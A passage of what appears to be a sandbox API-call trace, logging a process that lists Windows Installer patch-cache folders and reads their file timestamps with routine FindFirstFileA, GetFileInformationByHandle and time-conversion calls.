lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0259.072] CloseHandle (hObject=0x190) returned 1 [0259.074] GetFileType (hFile=0x1ac) returned 0x1 [0259.078] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109510090400100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc25da9c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17c6fe20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17c6fe20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.084] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109510090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc2600b20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17c95f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17c95f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.085] GetFileType (hFile=0x1ac) returned 0x1 [0259.089] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109511090400100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc485e8c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17c95f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17c95f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.090] GetFileType (hFile=0x190) returned 0x1 [0259.094] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109511090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc485e8c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17c95f80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17c95f80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.096] GetFileType (hFile=0x1ac) returned 0x1 [0259.100] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109810090400100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc24a9ec0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17cbc0e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17cbc0e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.101] GetFileType (hFile=0x190) returned 0x1 [0259.113] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109810090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc24a9ec0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17ce2240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17ce2240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.114] GetFileType (hFile=0x1ac) returned 0x1 [0259.118] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109B10090400100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc24a9ec0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17ce2240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17ce2240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.119] GetFileType (hFile=0x190) returned 0x1 [0259.124] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109B10090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc24a9ec0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17ce2240, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17ce2240, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.125] GetFileType (hFile=0x1ac) returned 0x1 [0259.207] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109C20090400100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa8a7efe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17dc6a80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17dc6a80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.208] GetFileType (hFile=0x190) returned 0x1 [0259.262] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109C20090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa8a7efe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17e38ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17e38ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.269] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109E60090400100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc20a59a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17e5f000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17e5f000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.277] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109E60090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc20a59a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17e5f000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17e5f000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.277] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0259.277] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0259.277] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0259.277] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0259.277] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0259.278] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0259.278] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0259.278] CloseHandle (hObject=0x190) returned 1 [0259.285] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F10090400100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1fd3600, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17e85160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17e85160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.290] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F10090400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa1fd3600, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17e85160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17e85160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.292] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0259.292] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0259.292] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0259.292] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0259.292] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0259.292] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0259.292] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0259.292] CloseHandle (hObject=0x190) returned 1 [0259.299] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100A0C00100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa6d30100, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17e85160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17e85160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.305] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100A0C00100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa6d30100, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17eab2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17eab2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.306] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0259.306] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0259.307] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0259.307] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0259.307] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0259.307] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0259.307] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0259.307] CloseHandle (hObject=0x190) returned 1 [0259.313] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100C0400100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3e52fe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17eab2c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17eab2c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.318] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004109F100C0400100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3e52fe0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17ed1420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17ed1420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.319] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0259.319] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0259.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0259.319] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0259.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0259.319] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0259.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0259.319] CloseHandle (hObject=0x190) returned 1 [0259.321] GetFileType (hFile=0x1ac) returned 0x1 [0259.326] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004119110000000100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x70c9f7b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17ed1420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17ed1420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.335] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004119110000000100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x70c9f7b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17ef7580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17ef7580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.340] GetFileInformationByHandle (in: hFile=0x1a4, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0259.340] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0259.340] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0259.341] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0259.341] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0259.341] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0259.341] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0259.342] CloseHandle (hObject=0x1a4) returned 1 [0259.344] GetFileInformationByHandle (in: hFile=0x1a4, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0259.345] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0259.345] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0259.345] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0259.345] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0259.345] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0259.345] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0259.345] CloseHandle (hObject=0x1a4) returned 1 [0259.351] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004119750000000100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x854dc420, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17f1d6e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17f1d6e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.357] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004119750000000100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x854dc420, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x17f1d6e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17f1d6e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.372] GetFileInformationByHandle (in: hFile=0x1a4, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0259.372] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0259.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0259.372] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0259.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0259.372] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0259.372] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0259.372] CloseHandle (hObject=0x1a4) returned 1 [0259.378] GetFileInformationByHandle (in: hFile=0x1a4, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0259.378] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0259.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0259.378] FileTimeToSystemTime (in: lpFileTime=0x4a9f48, lpSystemTime=0x4a9f1c | out: lpSystemTime=0x4a9f1c) returned 1 [0259.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f1c, lpLocalTime=0x4a9f2c | out: lpLocalTime=0x4a9f2c) returned 1 [0259.378] FileTimeToSystemTime (in: lpFileTime=0x4a9f38, lpSystemTime=0x4a9f0c | out: lpSystemTime=0x4a9f0c) returned 1 [0259.378] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f0c, lpLocalTime=0x4a9f1c | out: lpLocalTime=0x4a9f1c) returned 1 [0259.378] CloseHandle (hObject=0x1a4) returned 1 [0259.381] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0259.381] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0259.381] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0259.381] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0259.381] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0259.381] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0259.381] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0259.381] CloseHandle (hObject=0x190) returned 1 [0259.408] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004119B30000000100000000F01FEC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbf36c820, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x17f8fb00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17f8fb00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0259.415] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Installer\\$PatchCache$\\Managed\\00004119B30000000100000000F01FEC\\14.0.4763\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbf36c820, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x17fb5c60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x17fb5c60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0259.430] GetFileInformationByHandle (in: hFile=0x1a4, lpFileInformation=0x4a9f84 | out: lpFileInformation=0x4a9f84) returned 1 [0259.430] FileTimeToSystemTime (in: lpFileTime=0x4a9f58, lpSystemTime=0x4a9f2c | out: lpSystemTime=0x4a9f2c) returned 1 [0259.430] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4a9f2c, lpLocalTime=0x4a9f3c | out: lpLocalTime=0x4a9f3c) returned 1 [0259.430] FileTimeToSystemTime (in: 